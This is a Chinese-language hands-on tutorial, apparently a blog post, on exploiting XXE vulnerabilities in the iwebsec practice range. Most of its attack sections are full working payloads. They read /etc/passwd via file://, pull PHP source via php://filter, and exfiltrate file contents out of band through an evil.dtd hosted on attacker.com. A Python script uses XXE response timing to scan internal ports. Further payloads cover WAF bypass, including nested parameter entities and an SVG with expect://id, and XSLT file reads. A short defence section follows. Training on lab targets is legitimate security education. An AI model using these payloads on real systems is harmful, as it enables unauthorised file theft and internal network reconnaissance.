iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)

iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)

iwebsec靶场XXE漏洞实战:3种协议读取文件与内网探测

在安全测试领域,XXE(XML External Entity)漏洞一直是一个容易被忽视但危害巨大的安全隐患。iwebsec靶场作为国内知名的漏洞演练平台,其XXE漏洞环境设计精巧,非常适合新手从零开始掌握实战技巧。本文将绕过繁琐的理论讲解,直接切入实战操作,手把手教你如何利用file、php、http三种协议实现文件读取,并通过响应时间差异探测内网开放端口。

1. 靶场环境快速搭建与漏洞定位

iwebsec靶场提供多种部署方式,推荐使用Docker快速启动:

docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec

访问http://localhost即可进入靶场界面。在漏洞分类中选择"XXE漏洞"模块,我们会看到一个简单的XML数据提交页面:

<form action="/xxe/process.php" method="POST"> <textarea name="data" rows="10" cols="50"></textarea> <input type="submit" value="提交"> </form>

使用Burp Suite拦截提交请求,可以看到原始请求格式:

POST /xxe/process.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded data=%3Cuser%3E%3Cname%3Etest%3C%2Fname%3E%3C%2Fuser%3E

关键漏洞点在于服务器未对XML外部实体进行过滤,直接解析了用户提交的XML内容。我们可以通过修改Content-Type为application/xml并构造恶意XML实现攻击。

2. 三协议文件读取实战

2.1 file协议读取系统文件

最直接的利用方式是通过file协议读取服务器本地文件。构造如下Payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>

关键参数说明:

  • <!ENTITY xxe SYSTEM "file:///etc/passwd">定义名为xxe的外部实体
  • &xxe;引用该实体内容

成功执行后,服务器响应中将包含/etc/passwd文件内容。对于Windows系统,可尝试读取file:///C:/Windows/win.ini等路径。

2.2 php协议获取源码

当需要读取PHP等脚本文件时,直接使用file协议会导致代码被解析执行。此时应使用php过滤器:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/process.php"> ]> <user> <name>&xxe;</name> </user>

技巧说明:

  • convert.base64-encode将文件内容以Base64编码输出
  • 获取到Base64编码后需自行解码还原源码
  • 路径需根据实际情况调整,常见Web根目录包括/var/www/html/var/www

2.3 http协议外带数据

当遇到无回显的"盲注"场景时,可通过http协议将数据外带到攻击者控制的服务器:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <user> <name>test</name> </user>

在攻击者服务器(attacker.com)放置evil.dtd文件:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

实战要点:

  1. 需要具备公网服务器接收数据
  2. 数据中的特殊字符需进行URL编码
  3. 可通过DNSLog等平台简化外带过程

3. 内网端口探测技术

XXE的另一大威力在于内网探测。通过响应时间差异,可以判断目标端口是否开放:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80"> ]> <user> <name>&xxe;</name> </user>

探测逻辑:

  • 若目标端口开放,响应通常在1秒内返回
  • 若端口关闭,连接会等待超时(通常3-5秒)
  • 可批量测试常见端口(22, 80, 443, 3306等)

自动化探测脚本示例:

import requests import time ports = [21, 22, 80, 443, 3306, 3389] target = "192.168.1.1" for port in ports: start = time.time() payload = f"""<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://{target}:{port}"> ]> <user><name>&xxe;</name></user>""" try: requests.post("http://target.com/xxe", data=payload, timeout=3) except: pass if time.time() - start < 1.5: print(f"[+] Port {port} open")

4. 高级绕过与防御对抗

现代WAF通常会检测明显的XXE特征,以下是几种绕过技巧:

1. 编码混淆

<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

2. 参数实体嵌套

<!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY % param2 SYSTEM 'file:///etc/passwd'>"> %param1; %param2; ]>

3. SVG文件伪装

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://id" x="0" y="0" height="200" width="300"/> </svg>

防御方面,建议开发人员:

  • 禁用外部实体解析
libxml_disable_entity_loader(true);
  • 使用白名单过滤用户输入的XML内容
  • 升级XML解析库到最新版本

5. 实战经验与排错指南

在真实测试过程中,常会遇到以下问题及解决方案:

问题1:返回空白或错误

  • 检查XML格式是否正确闭合
  • 尝试不同协议(file/http/php)
  • 确认文件路径是否存在

问题2:特殊字符导致解析失败

<!ENTITY xxe SYSTEM "http://attacker.com/?data=<![CDATA[敏感内容]]>">

问题3:Java环境下的特殊处理Java应用需要额外声明参数实体:

<!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %exfil; ]>

问题4:.NET环境限制.NET默认禁用DTD,可尝试:

<?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet>

通过iwebsec靶场的系统化练习,配合本文提供的实战Payload,相信你能快速掌握XXE漏洞的挖掘与利用技巧。记住在实际渗透测试中,务必获取合法授权后再进行安全评估